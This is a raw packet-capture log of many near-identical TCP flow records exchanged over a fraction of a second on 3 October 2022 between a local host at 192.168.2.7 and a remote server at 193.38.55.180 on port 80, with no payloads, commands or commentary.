Oct 3, 2022 17:35:25.264305115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264312029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264348030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264373064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264388084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264410973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264432907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264436007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264460087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264461994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264477968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264503956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264507055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264525890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264544964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264553070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264569998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264575958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264600992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264615059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264616966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264637947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264657974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264662027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264683008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264686108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264699936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264710903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264734030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264736891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264760971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264761925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264774084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264785051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264807940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264808893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264822960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264832020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264853954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264854908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264870882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264878988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264899969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264903069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264913082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264950991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.265471935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.265496016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.265521049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.265528917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.265547991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.265558004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.267569065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.267618895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.267637968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.267663956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268526077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268559933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268577099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268585920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268600941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268619061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268631935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268642902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268661976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268667936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268676996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268702030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268707037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268727064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.268739939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.268764019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269340992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269368887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269392967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269393921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269407034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269417048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269428968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269440889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269453049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269467115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269489050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269490004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269514084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269515038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269526958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269537926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269551992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269562960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.269573927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.269598961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.270988941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.271024942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.271056890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.271078110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281564951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281608105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281632900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281655073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281656027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281678915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281682968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281702042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281719923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281724930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281754017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281759024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281765938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281783104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281806946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281806946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.281821966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.281848907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282180071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282210112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282227993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282233953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282249928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282257080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282274961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282280922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282298088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282305002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282321930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282330036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282344103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282352924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282371044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282376051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282383919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282399893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282418966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282423973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282449961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282450914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282469034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282475948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282493114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282500982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282517910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282526016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282540083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282548904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282561064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282589912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282749891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282774925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282797098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282799006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282815933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282825947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282835960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282850981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282871962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282893896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282900095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282918930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282942057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282952070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282959938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.282965899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.282999992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283015013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283052921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283078909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283103943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283129930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283137083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283154964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283160925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283179998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283193111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283202887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283212900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283226967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283231974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283252001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283255100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283276081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283277988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283298969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283299923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283322096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283323050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283343077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283348083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283370972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283370972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283392906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283396006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283416033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283418894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283442974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283457994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283464909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283468962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283480883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283493042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283518076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283519030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283541918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283555031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283565044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283580065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283587933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283603907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283611059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283634901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283637047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283658981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283662081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283684015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283684015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283705950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283705950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283726931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283730030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283755064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283766985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283777952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283780098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283801079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283802032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283818960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283824921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283843040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283849001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283860922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283873081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283890009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283898115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283910036 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283922911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.283948898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.283970118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.284874916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.284903049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.284926891 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.284941912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.284950018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.284972906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.284979105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.285020113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.292979956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293018103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293040037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293051958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293062925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293085098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293088913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293107033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293118954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293128967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293152094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293154001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293174982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293181896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293198109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293215990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293220043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293242931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293248892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293266058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293282032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293287992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293311119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293314934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293334007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.293344975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293363094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.293380976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294249058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294279099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294302940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294326067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294327974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294353008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294385910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294392109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294414997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294437885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294455051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294456959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294481993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294498920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294504881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294528961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294529915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294548035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294550896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294572115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294574022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294590950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294596910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294615030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294620037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294634104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294642925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294662952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294665098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294680119 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294687986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294701099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294709921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294730902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294732094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294747114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294754982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294768095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294779062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294795990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294800997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294812918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294823885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294842005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294847012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294858932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294871092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294892073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294912100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294935942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294935942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294960976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.294965029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294974089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.294984102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295001984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295007944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295021057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295032978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295052052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295058966 CEST	80	49703	193.38.55.180	192.168.2.7
